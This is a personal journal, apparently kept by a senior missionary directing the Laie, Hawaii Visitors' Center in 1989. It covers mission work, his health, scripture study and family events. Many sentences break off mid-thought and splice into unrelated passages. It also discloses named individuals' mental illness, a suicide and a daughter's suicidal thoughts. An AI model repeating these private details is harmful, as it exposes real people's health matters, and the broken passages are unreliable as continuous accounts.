about $150,000 and occupied Afton and I continue to love the work very much and are thrilled over the fact that we’re able to devote so much of our time every day to our mission. We not only spend long hours at the Visitors’ Center, but when we come home, we do our assigned scripture reading and engage in other faith-promoting activities. Saturday, July 8 – Monday, July 10, 1989 Saturday was another one of our preparation days and, although missionaries are supposed to have them weekly, Mom and I by no means have been able to take one each week. But with the heavy demands of the Visitors’ Center seven days a week, every day through the year, it’s imperative that we do this. In fact, instructions from the Brethren at the Missionary Training Center included some very strong counsel not to rationalize and talk oneself out of a preparation day. Mom and I, unlike others, prefer to spend preparation day leisurely at home where we catch up on many things that don’t get done through the week. Shortly after our arrival at Laie, Barbara Butler visited us. Barbara is a classmate from my BYU class of 1942. I remember her well as a student during my memorable days at BYU. I don’t recall any formal dating with Barbara, but I do remember the quality and the warm association we had. She dated another one of our classmates, Max Butler, who became a Doctor following his marriage to Barbara. Since then we’ve had only a very few contacts, perhaps the most important one being at a 1942 class reunion during the year of 1982. I served as chairman of that reunion and Barbara was one of about 150 students who returned for the reunion. I had heard earlier that her husband passed away in a strange malfunctioning of equipment in his anesthesiology laboratory. She has been a schoolteacher in an elementary school throughout her adult years and came here as an About 4:00 p.m., when we were doing our daily gospel study, we had a call saying that Elder Oaks and his party had just walked into the Visitors’ Center. We hurriedly got ready and, when we got there, they were walking around the temple grounds with President Haycock. So we joined them and had a delightful visit with President and Sister Haycock, together with President and Sister Jeffrey Holland and Brother and Sister Dee Anderson, an administrative officer at BYU. In addition to a walk around the grounds, seeing the remarkable development around the temple, we also went in the temple and saw the many, many innovations and improvements that President Haycock has brought about during his nearly three years as President. Every project that had long been neglected was brought to completion under his dynamic leadership. All of this, including the Brethren, Saturday evening, July 8th, Afton and I were guests of a special dinner at the PCC (Polynesian Cultural Center), along with all of Zion’s Security employees in connection with the quarterly PCC Board Meeting. At that That delightful evening of entertainment and dinner at the Polynesian Cultural Center culminated the two days of meetings that were held with the PCC Board. They meet quarterly and this was one of their meetings. In President Hannemann’s presentation to the Board, he apparently overstated himself in the kind of happy, productive relationship he enjoys with Brother and Sister Felt. Needless to say, we enjoyed this very much but I feel he was a little too generous because the Brethren did tell us again and again what a great job we were doing. We’re striving to not let this go to our heads so that we can keep humble in this great and glorious work. I’ve never been associated with a man that I’ve loved more quickly and more deeply than President Hannemann. I had better qualify that because there is also a brother at the temple, a brother Tom Kaleo, who is the Director of Sealers. I’ve made previous journal entries about this brother. But with the kind of love and respect that President Hannemann and I hold for each other, I feel confident that we’ll be able to support and help each other so that we will, in the next 18-20 months, bring about some significant increases of the number of tourists who come to the Visitors’ Center and also improve the quality of our tours, both the tram guides and our Visitors’ Center guides. As I ponder the prospects of this, I’m filled with a warm feeling that assures me that the Lord certainly would welcome and sustain our united efforts in increasing the numbers who come and thus increase the number of quality referrals. Sunday was another very busy day beginning at the Visitors’ Center with Dad at the gate and Mom inside, following which we took our three meetings in stride, beginning with Sacrament meeting and ending with Relief Society for Mom and Priesthood meeting for me. Once again I gave a priesthood Sunday evening the young sisters had another great musical fireside and packed in a large group of people. Prior to the meeting, I was feeling some real nausea and some uncommon perspiration. I brushed it off because I had felt this many times before. It passed momentarily, but then, as the meeting began, it came on again. It seemed to sweep through my body so quickly that I wisely left and, when I got into the office, I laid down on the couch. My dear, eternal companion began administering some of her well-known skills I have a deep faith that, if I am wise and prudent in my own demands of my body, I will enjoy strength sufficient to the demands of this assignment. Mom and I have often commented that the physical and emotional and spiritual demands of this job have been as great as any that we’ve ever had, including the time that we presided over a mission many years ago. The Lord certainly is teaching me and re-teaching me some lessons that I’ve learned in the past, and one such lesson is that, without Him, one is nothing. I have memorized a number of scriptures and perhaps the one I love best I will recite here in my journal: John 15:1-12. I remember so well when Elder Robert Simpson visited our mission at a Stake Conference in Albuquerque and the text of his message included these verses: “I am the true vine. You are the branches. Every branch in me that bringeth forth not fruit, he taketh away and every branch that beareth fruit, he purgeth it that it may bear more fruit. Now you are clean through the words I have spoken unto you. Abide in me and I in you as the branch cannot bear fruit of itself except it abide in the vine, no more can you, except you abide in me. I am the vine, you are the branches. He that abideth in me and I in him, the same bringeth forth much fruit. For without me, you can do nothing. If you abide in me and abide in my words, ask what you will and it shall be done unto you. Herein is the Father glorified that you bring forth much fruit, so shall you be my disciples. As the Father hath loved me, so have I. This is my commandment that you love one another as I have loved you.” I quoted that without referring to the scriptures. Each day, as I may have indicated in an earlier journal entry, I ride at least five miles on my Schwinn Airdyne bike. While I’m exercising, I memorize scriptures. As I do so, I feel again and again that these scriptures I’m memorizing are prompted by the Lord. I mean, among the many scriptures I could memorize, there have got to be some that will be better for me in terms of what my later ministry may be. So I pray often for the Lord to inspire me, not only in the scriptures, but in the memorization of them. I haven’t yet used these too freely in my teaching endeavors, but I will more often as I gain more confidence. I also have a feeling coming back again and again that these things I’m learning by way of scripture will serve me in a later call. I can’t believe it will be a call so much that may be mine here in mortality because of my limited years, but knowing full well that what we learn here goes with us, I’m moving ahead in my scripture memorization with the real assurance that they will serve me well, if not here, then beyond the veil. Today is Monday, July 10th, and it seemed best that I take the day off after that scare last night. But I intend to be back on the job in the morning. One of my very severe frustrations the last few weeks has been my inability to get adequate secretarial help. When Linda was secretary to President Hannemann, she was able to do so much for me; but when she left, I tried to use the sisters and one or two other voluntary people. But in an effort to work through so many secretaries, I was getting very little done. So I went back to Muriel and we worked out a program that I hope is acceptable and just for While dictating this journal entry, I had a call from Ken Cox who’s managing our Hurricane home and he tells me that Glen Jurgenson is very very ill, and they were wondering if they could pay the full price for the rental and not bother with people downstairs. I readily agreed and settled on a rent less than what they were offering. I’m at home and, therefore, having more time to record than I normally have, let me enter another matter that should be a matter of record. And that has to do with my efforts to cultivate and thus acquire a number of spiritual gifts which will assist me in my ministry. It all began about a year ago when Mom and I and five of our twelve children were enjoying a semester abroad in Israel. On a given day, we were out on one of Spiritual gifts, as I understand it, are special spiritual talents and capabilities that the Lord gives us in those areas where we are deficient. Thus, spiritual gifts would be different for different people. As I asked for help on this matter, there promptly came to my mind and heart five such gifts, beginning with 1) charity, 2) a pure heart, 3) discernment, 4) moral courage, and 5) increased faith in the Lord Jesus Christ. Knowing scripturally that charity was such a great gift–in fact, it’s perhaps kind of an umbrella gift that embraces virtually every other gift–though I didn’t know that this would be important. So, quickly I chose charity first and then the others seemed to fall into place. The expression and term “moral courage” seemed a little strange, but as I thought about it, that not only includes the gift of integrity, but also a gift of courage to stand fast to that which is right and true. So, with those five gifts in mind, I have included in virtually every prayer, at least once a day, some help in the acquisition of these gifts. As the years have gone on, I’ve chosen–inspirationally I believe–to add others. I have since added wisdom, meekness, patience, righteous desires, and appreciation. Appreciation came clearly to mind because when President Tanner, representing President Kimball, set me apart as a sealer in April of 1982, he blessed me with the gift of appreciation for temple work. I often pondered that, so that gift was certainly one that I wanted to enlarge upon. I’ve also added pure motives or working with an eye single to the glory of God, a hunger and thirst for righteousness, a broken and contrite heart, a willing heart, and an understanding heart, and a heart that envieth not. So, daily in my Since our assignment at the Visitors’ Center, I believe I’ve made more progress in developing a friendship and relationship with the Savior than I’ve ever had before. In our Visitors’ Center we have a large Christus, a Christus that was not being used much at all by our predecessor. Why, I don’t know. I don’t say that critically of him, but as soon as Mom and I saw that Christus, we both knew that we would want to do more in utilizing that in our tour scripts. Mom has been particularly adamant about it. I felt equally strong about it, yet we had introduced so many changes that I was reluctant to press another change upon them; but we did. And now every one of our people love the Christus and their presentation there more than anything else they do in the Visitors’ Center. As we bring our people in from outside, they stand at the Christus and we each give a very personal message, not only about the background and history of the Christus as a notable work of art, but then we personalize it, each a little different from the others. For me, I quote a few scriptures where the Savior makes it very clear that He wants us to Come Unto Him. One of which, let me quote: “Oh ye that labor and are heavy laden, come unto me and you shall find rest. Take my yoke upon you and learn of me, for I am meek and lowly of heart and I will send you rest, for my yoke is easy and my burden is light.” Occasionally at this point we’ll invite the sisters to come in and sing a song, “Love One Another.” Mom and I have a distinct feeling that what we have done thus far with the Christus is just the beginning of what will yet come. Tuesday, July 11 – Monday, July 31, 1989 Over the years, cars have always been a great interest in my life–in some respects, almost an obsession. Cars during our mission time have been one of our real liabilities and stresses. During the time we’ve been here we have had some very unpleasant experiences with two of the three cars. Several weeks ago, we sold a Toyota and had no end of problems in collecting payments, which forced us into repossession. With another car, the Nissan, Afton got into an accident and virtually totaled the car. That car was sold to another party who hasn’t paid anything on it, nor has he repaired it from the insurance we collected in the amount of $1500. Another very negative aspect of cars is the fact that the cost and maintenance has been too much of a drain on our mission costs. Unfortunately, the time required to tend to some of these problems has, in a very real way, compromised the effectiveness of my mission. It has been a joy to become acquainted with each of the many sisters who, at this stage of our mission, some have already left. We have come to deeply respect and love each one of the young sisters. Two or three have presented some real challenges for us, but I believe Mom and I have seen beyond the problems and felt the heart and the potential of each one of them. One of the sisters, Sister Cooper by name, came with some serious manic-depressive problems. Prior to her arrival, by only a few months, her mother committed suicide. Since her arrival, her younger sister, also manic-depressive, has attempted to take her own life. In addition to all that trauma, Sister Cooper had been subjected to some serious physical and emotional abuse and thus came with so many problems that each companionship was a real challenge for her and her companion. But Mom never did lose faith or interest or commitment to help. This she did through the whole mission. There was a period when I almost gave up the ship, but once I got my stewardship priorities in order, I began extending extra help, faith, prayers and love to Sister Cooper. Mom and I learned something about manic-depressives from some of Sam & Jessie’s children, and we have thus come to appreciate more deeply than ever the kind of stresses that Jessie has faced. During the final four to six months of Sister Cooper’s mission, her mood swings created such serious problems, not with the young sisters, nor even with her immediate companionship, but with the couples. On two occasions, the couples met with us and almost insisted that either Sister Cooper goes or they might leave. Afton and I refused to yield to these ultimatums. We made it clear that we were going to see this sister through her mission. As Sister Cooper came to really feel our genuine interest and love, we saw some brilliance and some beauty and strength that we’ve rarely seen in any missionary. In our weekly visits with the sisters, by companionship, as we teach the principles of faith and goal-setting in not only those settings, but also in her tours and in the classes, she was able to rise to heights of effectiveness that were seldom matched by any other sister. Because of the many stresses and emergencies and crises that seemed to follow her in the course of her time here, I had occasion to give her four or five priesthood blessings. On each occasion, especially during the last one, the Lord made clear to me the kind of true qualities and potential of this sister. One of the common problems and mistakes so many people make is to make quick judgments about people in moments of crises and thus they overlook the true goodness and potential of the person. I’m sure that one of our treasured memories when we leave will be that of Sister Cooper. One of the things that we had been learning in our time together with the sisters is that the Lord really meant what He said when He instructed us to “treasure up in your minds” those inspired statements and scriptures and then, at the moment they are needed, they will come to you. More correctly, what He says is, “take no thought of what you should say, but treasure up in your mind and He will give you at the hour and the moment what is needed.” During my last two temple sealings, I have followed that admonition. Always it gets very scary as the moment arrives, as it did last Saturday, when I walked into the sealing room and there found a large group, none of whom I knew. The fathers of both the groom and the bride were the witnesses, and both mothers were there, as well as both sets of grandparents, which I’ve learned over the years as a sealer is rather uncommon. Too often a father or a mother are not worthy to come. Without any thought or preparation ahead of time, I was given inspiration and direction like I seldom had before. One of the keen disappointments that Afton and I have had since coming is the fact that our children haven’t been regularly communicating with us. Marilynn and Tammy now have charge of our “Heartfelt Family Forum” letter which comes out quarterly. Since coming to Hawaii we have had two grandchildren. Kathleen and John gave us a new granddaughter, Collette, and Tom and Stephanie have given us a grandson, Wyatt. That is four children for John and Kathleen and two for Tom and Stephanie. They, like Mom and Dad, seem to be on the two-year plan, a child every other year. We also have three other family members expecting: Marilynn, Tammy and DeAnne. We’ve only been out less than six months and we already have two grandchildren and within the next two or three months we’ll have three more. It will be interesting when our mission comes to an end to see how many grandchildren we will have had while we are on this mission, which likely will be our last. We are also expecting a great-grandchild. Kim and O’Dean are expecting in August. Jessie and Sam are still facing some difficult matters that they must resolve in connection with their troubled marriage. They have been living apart now for about a month, during which time Jessie has been able to reach out and cultivate a better relationship with Sam’s children. But from our last visit with her, she still doesn’t have any intention of going to California and joining Sam. That deeply concerns us because, among all of our sons-in-law, we have no greater son-in-law than Sam. But Jessie has good solid reason for taking the drastic step she did, so we are supporting her and backing her emotionally and spiritually in what she has chosen to do. Recently we had a glorious Family Home Evening, which not only included our missionaries, but also all of the PCC missionaries and the BYU missionaries. Prior to our arrival they were being held once a month. It became quickly apparent that we had to cut back on some meetings as a group. We concluded that our Family Home Evening would be held quarterly, which would also include other selected people. Last Sunday we held one at the large and elegant home of President and Sister Christensen who is the President of the PCC. We had about forty people and featured President Haycock as the speaker. He gave a marvelous message as only he can do as he related and shared some of his experiences with the Presidents of the Church. He has served as a personal secretary to five Presidents. It was my privilege to introduce him, and I was happy to do so, because from the time of our arrival we have been having many productive meetings with him. Indeed, we meet with him each week. He has made it possible for us to achieve many, many things here in the Center, mostly of a tangible nature, like new carpet, re-upholstery, a new $5,000 phone system, and many other things. He will be leaving September 1st and will be followed by President and Sister Jex, a couple who have been on four missions since their retirement and now will be coming as Temple President. We also have welcomed a new Mission President, President Waldo Perkins, a retired medical doctor. He shows great promise, especially in terms of his member involvement programs. We presently are facing a real stressful situation as we attempt to transfer the referral program that should properly be located in the mission home, from the Visitors’ Center. It has been a very time consuming thing for too many of us and we have been instructed to transfer it to the mission home. Presently, President Perkins is understandably resisting it. I do believe I will really press and be very reluctant to compromise on this matter. However, the bottom line is that he is my priesthood leader and I should and will submit to his final position on the matter. Our volunteer people are serving very well. Each change I have made has been resisted and on this matter, once again, people–especially couples–resisted. But I moved ahead and we now have as voluntary guides Sister Metta Christensen and Sister Barbara Butler who are both doing very well. Both of them have served very effectively at Temple Square. Recently, we have asked Brother and Sister Treglawn to take time at the gate, which they will do beginning next Sunday. In our weekly Family Council meeting we introduced a whole new program which, by and large, was accepted; but here again there were some reservations from some people. I believe it can succeed given a try. It is a two-hour block every Monday morning for both Family Council and Training Meeting. Perhaps one final item in my journal should be the fact that a couple of weeks ago I suffered some crazy symptoms that resulted in a near passing out, which resulted in being taken to the Emergency Hospital at Kahuka. At the outset they feared it could have been a stroke or a heart attack. This whole episode has put me on a track that I’ve been on before, where I go from one doctor to another–first a neurologist, then a cardiologist–all of which have been referred by Dr. Nielson of the BYU Health Center. They still haven’t isolated and identified the cause of the problem, but I’m scheduled to see a doctor again tomorrow. However, I am feeling much better and am carrying a full load of work. This concludes the journal entries to July 31st. August 1, 1989 Since my last entry of July 31st, I have dealt with some challenges to my health which threw a little scare into Mom and some others, but I have now completed the circuit of doctors, the last of which was my cardiologist, Dr. Sol. From all the tests that I’ve had they can find nothing other than a heart murmur and an irregular heartbeat, which is largely being controlled by my medication, Lanoxin. As I look back on this whole scenario of doctors and examinations, I feel strongly that it was the blessing given me by my associate, Elder David Beardshaw who serves as the Assistant Director, that has brought about an almost instant healing. That, added to the fact that in my setting apart, Elder Russell Taylor told me that I would enjoy good health. Presently, I am. As I look back on these several months, I’m sure a singular factor in my hurried trip to the Emergency Room was caused through stress. Among all of the Church assignments I’ve had, I can’t recall anything that was fraught with more stress and severe challenges than this job. I was told this would be the case by a previous Director whom I highly respect, Stewart Durrant, the older brother of President George D. Durrant. When I was given a background check by Brother Sackley of the Quorum of Seventy, I was told they were considering sending me to a very strategic area in the Church. I remember well the word “strategic.” I have pondered on that since and now I can see the wisdom of that word. In this area of the Lord’s vineyard, right here in Laie, we have a Temple and a Visitors’ Center, plus BYU Hawaii and the Polynesian Cultural Center. It is imperative that these three Church entities function harmoniously. From information shared with me by high-level sources over the years, maintaining a harmonious working relationship on the high level, the middle level, and the rank and file level is not easily achieved or sustained. On the contrary, people, causes, and projects of any nature seem to be subjected to so much debate and hence contention and confusion far beyond what normally is the case in different areas of the Church. For me personally I have never been in an assignment where there are more things occurring that seem to divide people, throwing them into vigorous debates and discussions, often very contentious. As I visited with Jay Blair, the Director of all Church Exhibits, he informed me that there is no area they service that has more problems with people on the high level (Temple Presidents, Mission Presidents, Polynesian Cultural Presidents, and Directors of Visitors’ Centers) than here. His virtual quote was, “Historically, there have been more problems and unresolved concerns than in any other area.” I believe I know the reason why. This area is indeed what Brother Sackley called a “strategic area” in the Lord’s vineyard. Since coming here I’ve learned more about the prophetic destiny of this place as prophesied by President David O. McKay and others of the Brethren. Already, much of the prophecy that was given has already been fulfilled in terms of people coming from this area who would wield a great influence for good and peace in the world. The BYU enrollment of students consists of about sixty or seventy percent Asian people and Polynesian people. As these people come here and get their degrees, they go back to many other parts of the world and wield a great leadership role in their various communities and countries. What we have now seen come to pass is just the beginning of what will yet happen as the final wind-up scene for the Lord takes place. Down the road, I’m sure, the people from this area and these “Isles of the sea” will wield an even greater influence in bringing about permanent world peace. The old adversary is very much aware of the potential and what the Lord has in mind for this area and these people, so he works overtime to divide people. I humbly believe that one of the singular blessings the Lord has given me is a gift of peacemaking, which has made it possible for me to cultivate, under the Lord’s influence, a good working relationship with all my key people: President Haycock of the temple, his temple engineer Mike Williams, together with his counselors, as well as our two Mission Presidents, President Kikuchi and President Perkins, and also President Christensen and the many high level people at the Polynesian Cultural Center. I am not boasting. I hope I’m just stating an honest fact; but presently we enjoy a very good relationship with all of these people. The great challenge now is to maintain it. Since I’ve been here I have had a number of minor and major encounters with different people, which is very unlike me. I normally withdraw and back off when there is any real division and contention, but when a great principle or a critical decision is at stake, then I’ve learned to take a firm stand. Always, I make it a point to either compromise something or to make sure that the relationship is not undermined beyond a few hours or a few days. My predecessor, Brother Patterson, was not even on speaking terms with the Temple President. Apparently he spent his whole twenty-seven months here having very little harmonious communication with the Temple President. I hasten to add to my journal that I certainly don’t feel I’m boasting about these things. I am making a statement of fact and attributing what harmony and accord I have been able to achieve as having come about because the Lord has used me in a kind of a peacemaking role. I feel something like Ammon did when his brother Aaron accused him of boasting as they were looking back upon the very successful mission. Ammon waxed boldly about some of their successes, and Aaron did rebuke him. Then Ammon replied, “I do not boast in my own strength or in my own wisdom, but I do rejoice in my God and my heart is full to the brim with joy, and I do rejoice in my God. Yea I know that I am nothing, as to my strength I am weak. Therefore, I will not boast of myself, but I will boast of my God, in whose strength I can do all things. Wherefore, we have been able to do many mighty miracles on this land for which we will praise his name forever.” As Ammon spoke, so I speak. Shortly after my arrival here, we did begin the training program using the Missionary Guide, which we were instructed to do. However, because of so many changes I had to implement, I maybe unwisely withdrew those training sessions for too many weeks. We did meet regularly in our Family Council and Family Home Evenings and other appropriate leadership meetings, but did little or no training directly from the Missionary Guide. We were able to get our people on the correct video presentations, “Together Forever,” and also get all of our people to certify on the approved script. We didn’t really move forward on further teaching skills. Three weeks ago we did begin again, after a careful review of all of our meetings, getting input from all of our missionaries and designing a program that seemed to have full acceptance of all of our people. So, for three weeks we have been having some productive training meetings. Last week we were somewhat derailed because of some very harsh and intimidating criticisms. Some of our older couples were criticizing the young sisters as they were role playing different skills. Both our training coordinator and I had carefully taught our people the format that the MTC taught us on giving feedback. The principles and guidelines basically for giving feedback are couched in Section 121, where the Lord gives beautifully the principles of true leadership. He says, “No power or influence can or ought to be maintained by virtue of the Priesthood except through patience, long-suffering, gentleness, kindness, meekness and love unfeigned.” We made it clear that they shouldn’t criticize; they should just describe. We also urged them to give at least seven positive aspects before giving any negatives. Our couples tend to over react and harshly pick out faults and failings that devastate our young sisters. I then had the very unpleasant assignment of taking a strong position in the class, defending the beautiful presentation that the sisters had made. Then I sought each of the couples out and individually reviewed again with them that the approach they took was wrong. While it may be practiced in business circles and out in the world, it certainly is not the mode and pattern in the Church. They were very defensive and for the past few days our relationship has been a little cool, but I feel it improving. Since they have resisted virtually every change I’ve introduced here, this scenario of going up to them and re-cultivating them and getting their support is something I’ve learned how to do. I don’t mean to be critical of these people; on the contrary, I don’t believe I’ve ever had more love and respect than I do for our senior couples. But, it has been very difficult for them to accept the kinds of changes that we felt imperative to introduce. In fact, what I am doing is nothing more than what we were taught at the Missionary Training Center. Afton and I have not only faced a succession of challenges here, we are also getting them at home. A few weeks ago, a call from DeAnne, Larry’s wife, gave us some deep concern. Here, as we’ve done in the past, we have promptly united all the family in extending themselves in love and communication which has always ultimately come out good in the end. This has worked for Larry and DeAnne. In fact, Larry is doing better than he has done for years. Jessie is now separated from her second husband, Sam Allman. It is not only the separation that devastates us, but it is also the fact that she feels that she has faced so many stresses and crises during the past ten years in her first and second marriages, that she has lost faith in God. She no longer prays, she is not attending Church, but we are reassured that she is not violating any moral or Word of Wisdom standards. She spends too much time with people who, like herself, are divorced or in the midst of a divorce, or who are very uncommitted to some of the standards of the Church. We have some deep anxiety over our daughter, Jessie. She, and the two boys, will be coming over at the end of the month and we hope and pray that once here, she will be able to re-sort some of her values and get back on track. As I have pondered the crises and challenges that we have faced here as well as at home, I take great comfort in a statement by Brigham Young. He said, “God never bestows upon his people an individual superior blessing without a severe trial to prove them, to prove that individual and that people to see if they will keep the covenants with him, and to see if they will keep in remembrance the things that he has shown them. Then, the greater the vision, the greater the blessing, the greater display and power of the enemy.” I believe that we are here in an area and on an assignment fraught with great possibilities and the Lord has abundantly blessed us. I feel confident that there will be additional abundant blessings, but not without some trials and tests. Certainly we are going through them now. Another area of test and challenge which all of the couples, with their private cars, face is car repair. Each of us has had horrendous car expenses. The mechanic, a great Polynesian man, has said he’s noticed that all of the couples have no end of problems with their cars. He, like me, seems to attribute that in part to “Old Scratch” or the Adversary. Another thing that the couples have pointed out to me is that every couple, especially the Priesthood holder, has had some real health crises. All in all, it seems like the hand of the adversary is doing everything he can to thwart and de-rail this program. We unwisely brought over a luxury car, which was a mistake; we knew that from the day we arrived. The cost and problems have been horrendous. Our friend, a Polynesian and a good auto mechanic, is going to sell that car for us and he has made a purchase at a salvage yard in Honolulu of a badly damaged 1986 small Toyota that he is going to repair and get to us for about $2500. He will also then add another figure to that which will give us a warranty and repair guarantee. We have enjoyed a wonderful visit with Windy for about two weeks. We met her at the airport at 1:00 in the morning and took her back at 11:00 at night, which was not good for us, but it was wonderful having her here. She had a delightful time and she really did very, very well with our sisters and our other friends and associates here in the area. It looks like our next visitors will be Jessie and her two boys. This concludes our journal entry to August 20th. Monday, August 21 – Monday, September 11, 1989 During the past few weeks, we have had a windfall of blessings in the form of grandchildren. We hadn’t been out very long when our daughter, Kathleen, gave birth to a beautiful daughter whom they named Collette. They now have four children under seven. John and Kathleen, like all of our children, are outstanding parents. Each of them have achieved the mix and blend of a lot of love and appropriate limits in discipline. They, like their parents, never administer any corporal punishment, but they do require performance and discipline. A few weeks following the birth of Collette, Tom and Stephanie had another son whom they named Wyatt. This Is their second. Their first son, Malcolm, must be two-and-a-half years old. The birth was difficult, resulting in some impaired lung function. But two or three days in the hospital for the baby and the mother corrected that. Presently all are doing well. A few weeks later, Tammy, our twin, gave birth to her third child, this one a daughter. They expected another son but they got a girl and they are happy beyond expression. They sent us a video showing how the two brothers love their new sister. The video, complete with a musical background, was a very professional kind of thing which Kirk is able to do. For the first time in our mission we really got homesick as we saw these pictures. Two days ago, Steve called to tell us that his wife, our daughter Marilynn, gave birth to their fourth child, another girl. They named her Stacey Mae. Mae is my mother’s first name. So they have two boys and two girls. Each of their children is a miracle child. Steve and Marilynn were married five years before they had their first, which was an adoption through LDS Social Services. Shortly after their marriage, when they learned they were not having children, Marilynn and Steve sought a blessing. In the blessing I felt impressed to promise them that the time would come when she would be able to bear children naturally. As the first and second and third and even the fourth and fifth years came, I began to wonder when the promised blessing would come to pass. After many months of negotiation they were able to adopt a choice little boy. The month following the adoption, Marilynn became pregnant and eight or nine months later gave birth to sweet Stephanie, now about eight years old. Stephanie reminds us so much of her mother. A few years later, when Steve and Marilynn were living in Malaysia–he working as an attorney for Exxon–they called and told us of another pregnancy. The first pregnancy was so critical that this time Marilynn had to have a C-section; the baby was born after a little over six months and they despaired for his life. But here again, the united faith and prayers of so many, especially the family, brought about another miracle–Justin was born. They despaired for his life, but he is now a happy, vigorous, normal boy. With this recent pregnancy, Marilynn carried the baby to nearly full-term, but still had to undergo a C-section. Mother and baby are doing very, very well. Thus, during the six months that we have been out, we have had four grandchildren and are yet looking for the fifth which will be coming in February. Mom and I had an interesting experience in Sears and Roebuck in Honolulu a week ago. Each Christmas, for the past several years, Mom has done the impossible by personally making some stuffed dog, animal, or something for each of the younger grandchildren. This always has represented scores and scores of hours of work. The young grandchildren and the older grandchildren always look for Grandma’s special gift. When I see how our grandchildren love the gifts that Afton makes for them, I know for a certainty that the greater effort and sacrifice a person puts into a gift, be whatever it may be, it always carries over in the gift. The receiver always is more appreciative and happy with such a gift. But this year, because of the demands of our mission at the Visitors’ Center, there was no way it could be done. So, while at Sears we found a huge table with a number of stuffed animals. Most of them were marked down from $20 and $15 to $10. Afton quickly concluded this was a real value. In fact, she said the material itself would cost nearly $10. So, both of us began scrambling through the whole pile of animals and finally picked out twenty-three of them. As we carried them over to the counter, the clerks wondered what in the world we were doing with all of these stuffed animals. We told them we were giving them to our grandchildren for Christmas, whereupon they began asking about the size of our family and the number of grandchildren. When we told them that we have twelve children and forty-four grandchildren, they couldn’t believe it! A couple, about Mom’s age (mid-sixties) came by and overheard the conversation, and the lady with her husband standing by her side said, “Did I understand you to say that all of those are going to your grandchildren?” Whereupon we replied, “Yes.” Then she said, “Well, how many grandchildren do you have?” So we told her and then she told us, “Well, here I am sixty-seven and I’m just now expecting my first grandchild!” Over the years our family has brought so much joy into our lives. Heaven is no mystery to not only my wife and I, but also to all of our family. Heaven is family. Our family get-togethers and letters and telephone exchanges give us a bit of heaven on earth. A beautiful letter from our son Ron and his wife Tracy, who are now living in Tokyo, explained it so beautifully. I should quote in this journal entry something from his letter. Perhaps I could just capsulize it. Ron and Tracy said something to the effect that “Mom and Dad, through their example, have taught us how to find happiness in family. Our family, together with the families of our other brothers and sisters, reflect something of the great qualities that we had in our family.” President David O. McKay said it well as follows: “The poorest shack where love prevails is of far greater value to God and to future humanity than all the riches of the world. In such a home, God can and does work miracles. Pure hearts and a pure home are within whispering distance of heaven.” This we know. Our work at the Visitors’ Center continues to be a challenge every day. It never occurred to us that a Visitors’ Center, which is often thought of as an easy “country club lifestyle” mission, is nothing like that at all. Mom and I are working harder and giving more than we did back in 1971 when we presided over a mission with up to two-hundred-and-eighty missionaries. There is something about this area and this place which makes it so highly strategic for the future plans and prophecies of this area. That causes the Adversary to be ever present. But, we do love our work. We love the challenge. We love the missionaries. We love the people. We are honored to be entrusted with such an assignment at my age. Presently, Jessie and Sam and Jessie’s two children are with us. Earlier, Windy spent two weeks with us which was a joy for her and a joy for us. We’ll have more for the journal on the visit with Jessie and Sam later. Thursday, September 21, 1989 Today is September 21st. I am now recording some more journal entries, ending as I recall on the note that Jessie and Sam and the two boys were here. The week that Jessie was here brought back so many memories of Jessie in our home prior to her marriage to Cory. Even though there was a time difference of ten years, nevertheless as she came into our home she seemed to act and look just like the lovely, bubbly daughter she was prior to her marriage to Cory. Because of two failing marriages, there have been some changes in Jessie’s outlook and demeanor; but for one week it was just the Jessie we remembered from ten years ago. Among all of our faithful and obedient children, none adhered to the straight and narrow path quite like Jessie. I’d better qualify that–so many of them, indeed all of them, did–but Jessie seemed to do it so effortlessly and so happily. It was Jessie and Ron who were always able to resolve differences and problems as they would surface in the home about different matters. One of the great, great blessings of our family life was the nearly total absence of quarreling and contention. They never saw any of that between Mom and Dad and they just seemed to emulate us in that respect. When sibling rivalry or some imminent dispute surfaced, Mom and Dad–one or both of us–would make some effort to resolve it, but so often it would be Ron or Jessie who seemed to have more influence with their brothers and sisters than we did. It was Jessie who helped us launch an early morning scripture reading program. When we brought it up in a Family Council there was much resistance. The appeals of Mom and Dad fell on unresponsive ears. But Jessie said, as I remember so vividly, “Let’s give it a try,” and that we did; and so the pattern became established for years in the family. It seems so ironic and in a way unjust and unfair that this lovely daughter would have faced such a tragic first marriage. Yes, it was a temple marriage to a returned missionary who was a companion to Matt Durrant, President Durrant’s son, and we were assured by him what an outstanding missionary he was. But what Jessie and all of us failed to look into was his family background. We did have some uneasy feelings–that is, Mom and I had some uneasy feelings–when we met the family and some of his brothers and sisters. And it was only a year following their marriage that Cory became inactive and later drifted into drinking and then infidelity. Jessie stayed with the marriage as long as she could and then finally left him. But when Cory’s father committed suicide, Jessie felt that Cory needed her. So she went back to him, attempting to pull it together again, but once again with no success. So she left him. When she came home, she was a devastated girl, and her young son, who was then only a year-and-a-half, was almost a basket case. She stayed with us for about a year or a year and a half and once again fit into the family just like she did prior to her marriage. She’s always been a very independent girl and carried more than her responsibility in the home and insisted in sharing the costs from the small payments she was getting from her former husband. About a year later, Sam Allman came along–fourteen years older than Jessie, with five children of his own, four girls and one boy. They appeared to be such an outstanding family. All of the family fell in love with Sam. It wasn’t until later that we learned more of the background of this family. Sam’s wife walked out on him leaving him with the five children. She was a severe manic-depressive, which wasn’t known to us when the marriage was consummated. Three of the five children inherited the same manic-depressive genes and it was that, I suppose, that finally brought Jessie’s second marriage to a very unhappy ending. Sam was in such a difficult role. Some of the awful outbreaks of the children, because of their chemical imbalance, had to be faced daily by Jessie. Sam was away from home a good part of the time on his job which left the burden of the family to Jessie. She toughed it out for nearly five years and then we noticed, during the last year of the marriage, Jessie was undergoing some alarming changes in her nature and character. Never did she seriously compromise any moral standards, but she slipped away from the Church and went into some deep, deep depression. As we look back on it now, had these matters been known at the outset and had been addressed and met by some deep and consistent counseling for Jessie, for Sam and all the children, perhaps things could have turned out differently. Sam, unfortunately and unwisely, felt that it was Jessie that needed the counseling and not him. Finally, Jessie gave up on that marriage and when Sam appeared here against the wishes of Jessie, he came with the intention of making one final effort to persuade Jessie to give the marriage another chance. We urged Jessie to do the same. She was obedient enough that she was willing to give it another three months which Sam was pleading for. But in a visit with her the second or third night of Sam’s visit, Jessie shared with me some of the very deep depression and stress she was facing and indicated that there were times when even suicide crossed her mind. That, of course, was a red flag and at that point I realized that I needed to get some more insight on the matter. With time running out, in light of Jessie and Sam’s imminent departure, I plead with the Lord for some direction and help. Friday morning, the day prior to Sam’s departure, and only two days from Jessie’s departure, I walked up alone to Temple Hill to give this further prayerful thought. I had hoped that no one would be up there so that I could privately talk with the Lord. After five minutes I noticed a strange character walking up the hill with two canes; he had every 